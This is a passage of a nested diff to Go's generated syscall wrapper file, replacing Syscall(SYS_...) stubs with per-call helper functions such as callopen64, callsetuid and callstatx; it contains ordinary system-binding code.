--func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callmkdirat(dirfd, uintptr(unsafe.Pointer(_p0)), mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -420,13 +414,13 @@ func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chdir(path string) (err error) {
-+func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, e1 := callmkfifo(uintptr(unsafe.Pointer(_p0)), mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -435,13 +429,13 @@ func Chdir(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chflags(path string, flags int) (err error) {
-+func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, e1 := callmknod(uintptr(unsafe.Pointer(_p0)), mode, dev)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -450,13 +444,13 @@ func Chflags(path string, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chmod(path string, mode uint32) (err error) {
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, e1 := callmknodat(dirfd, uintptr(unsafe.Pointer(_p0)), mode, dev)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -465,13 +459,8 @@ func Chmod(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chown(path string, uid int, gid int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-+ _, e1 := callnanosleep(uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -480,13 +469,14 @@ func Chown(path string, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Chroot(path string) (err error) {
-+func Open(path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ r0, e1 := callopen64(uintptr(unsafe.Pointer(_p0)), mode, perm)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -495,8 +485,14 @@ func Chroot(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, e1 := callopenat(dirfd, uintptr(unsafe.Pointer(_p0)), flags, mode)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -505,9 +501,13 @@ func Close(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-- nfd = int(r0)
-+func read(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ r0, e1 := callread(fd, uintptr(unsafe.Pointer(_p0)), len(p))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -516,8 +516,18 @@ func Dup(fd int) (nfd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+func Readlink(path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ if len(buf) > 0 {
-+ _p1 = &buf[0]
-+ }
-+ r0, e1 := callreadlink(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), len(buf))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -526,15 +536,32 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callrenameat(olddirfd, uintptr(unsafe.Pointer(_p0)), newdirfd, uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+func Setdomainname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ _, e1 := callsetdomainname(uintptr(unsafe.Pointer(_p0)), len(p))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -543,8 +570,12 @@ func Fchdir(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+func Sethostname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ _, e1 := callsethostname(uintptr(unsafe.Pointer(_p0)), len(p))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -553,8 +584,8 @@ func Fchflags(fd int, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+func Setpgid(pid int, pgid int) (err error) {
-+ _, e1 := callsetpgid(pid, pgid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -563,8 +594,9 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+func Setsid() (pid int, err error) {
-+ r0, e1 := callsetsid()
-+ pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -573,8 +605,8 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+func Settimeofday(tv *Timeval) (err error) {
-+ _, e1 := callsettimeofday(uintptr(unsafe.Pointer(tv)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -583,9 +615,8 @@ func Flock(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-- val = int(r0)
-+func Setuid(uid int) (err error) {
-+ _, e1 := callsetuid(uid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -594,8 +625,8 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Setgid(uid int) (err error) {
-+ _, e1 := callsetgid(uid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -604,8 +635,8 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-+func Setpriority(which int, who int, prio int) (err error) {
-+ _, e1 := callsetpriority(which, who, prio)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -614,8 +645,13 @@ func Fsync(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
-+func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callstatx(dirfd, uintptr(unsafe.Pointer(_p0)), flags, mask, uintptr(unsafe.Pointer(stat)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -624,33 +660,34 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-- egid = int(r0)
-+func Sync() {
-+ callsync()
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-- uid = int(r0)
-+func Times(tms *Tms) (ticks uintptr, err error) {
-+ r0, e1 := calltimes(uintptr(unsafe.Pointer(tms)))
-+ ticks = uintptr(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-- gid = int(r0)
-+func Umask(mask int) (oldmask int) {
-+ r0, _ := callumask(mask)
-+ oldmask = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-+func Uname(buf *Utsname) (err error) {
-+ _, e1 := calluname(uintptr(unsafe.Pointer(buf)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -659,33 +696,53 @@ func Getpgid(pid int) (pgid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-- pgrp = int(r0)
-+func Unlink(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callunlink(uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callunlinkat(dirfd, uintptr(unsafe.Pointer(_p0)), flags)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, e1 := callustat(dev, uintptr(unsafe.Pointer(ubuf)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-+func write(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ r0, e1 := callwrite(fd, uintptr(unsafe.Pointer(_p0)), len(p))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -694,8 +751,9 @@ func Getpriority(which int, who int) (prio int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+func readlen(fd int, p *byte, np int) (n int, err error) {
-+ r0, e1 := callread(fd, uintptr(unsafe.Pointer(p)), np)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -704,8 +762,9 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+func writelen(fd int, p *byte, np int) (n int, err error) {
-+ r0, e1 := callwrite(fd, uintptr(unsafe.Pointer(p)), np)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -714,9 +773,8 @@ func Getrusage(who int, rusage *Rusage) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, e1 := calldup2(oldfd, newfd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -725,8 +783,8 @@ func Getsid(pid int) (sid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Gettimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, e1 := callposix_fadvise64(fd, offset, length, advice)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -735,24 +793,33 @@ func Gettimeofday(tv *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-- uid = int(r0)
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ _, e1 := callfchown(fd, uid, gid)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Issetugid() (tainted bool) {
-- r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0)
-- tainted = bool(r0 != 0)
-+func fstat(fd int, stat *Stat_t) (err error) {
-+ _, e1 := callfstat(fd, uintptr(unsafe.Pointer(stat)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Kill(pid int, signum syscall.Signal) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0)
-+func fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callfstatat(dirfd, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -761,9 +828,8 @@ func Kill(pid int, signum syscall.Signal) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-- fd = int(r0)
-+func Fstatfs(fd int, buf *Statfs_t) (err error) {
-+ _, e1 := callfstatfs(fd, uintptr(unsafe.Pointer(buf)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -772,13 +838,8 @@ func Kqueue() (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lchown(path string, uid int, gid int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, e1 := callftruncate(fd, length)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -787,18 +848,45 @@ func Lchown(path string, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Link(path string, link string) (err error) {
-+func Getegid() (egid int) {
-+ r0, _ := callgetegid()
-+ egid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Geteuid() (euid int) {
-+ r0, _ := callgeteuid()
-+ euid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getgid() (gid int) {
-+ r0, _ := callgetgid()
-+ gid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getuid() (uid int) {
-+ r0, _ := callgetuid()
-+ uid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lchown(path string, uid int, gid int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(link)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, e1 := calllchown(uintptr(unsafe.Pointer(_p0)), uid, gid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -807,8 +895,8 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+func Listen(s int, n int) (err error) {
-+ _, e1 := calllisten(s, n)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -817,13 +905,13 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, e1 := calllstat(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -832,13 +920,8 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mkdir(path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+func Pause() (err error) {
-+ _, e1 := callpause()
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -847,13 +930,13 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mkfifo(path string, mode uint32) (err error) {
-+func Pread(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(p) > 0 {
-+ _p0 = &p[0]
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ r0, e1 := callpread64(fd, uintptr(unsafe.Pointer(_p0)), len(p), offset)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -862,13 +945,13 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-+ if len(p) > 0 {
-+ _p0 = &p[0]
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ r0, e1 := callpwrite64(fd, uintptr(unsafe.Pointer(_p0)), len(p), offset)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -877,8 +960,9 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, e1 := callselect(nfd, uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -887,14 +971,9 @@ func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Open(path string, mode int, perm uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-- fd = int(r0)
-+func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, e1 := callpselect(nfd, uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -903,14 +982,8 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pathconf(path string, name int) (val int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-- val = int(r0)
-+func Setregid(rgid int, egid int) (err error) {
-+ _, e1 := callsetregid(rgid, egid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -919,15 +992,8 @@ func Pathconf(path string, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pread(fd int, p []byte, offset int64) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
-- n = int(r0)
-+func Setreuid(ruid int, euid int) (err error) {
-+ _, e1 := callsetreuid(ruid, euid)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -936,15 +1002,8 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
-- n = int(r0)
-+func Shutdown(fd int, how int) (err error) {
-+ _, e1 := callshutdown(fd, how)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -953,15 +1012,9 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-+ r0, e1 := callsplice(rfd, uintptr(unsafe.Pointer(roff)), wfd, uintptr(unsafe.Pointer(woff)), len, flags)
-+ n = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -970,20 +1023,13 @@ func read(fd int, p []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Readlink(path string, buf []byte) (n int, err error) {
-+func stat(path string, statptr *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-- n = int(r0)
-+ _, e1 := callstat(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(statptr)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -992,18 +1038,13 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Rename(from string, to string) (err error) {
-+func Statfs(path string, buf *Statfs_t) (err error) {
- var _p0 *byte
-- _p0, err = BytePtrFromString(from)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(to)
-+ _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, e1 := callstatfs(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1012,13 +1053,13 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
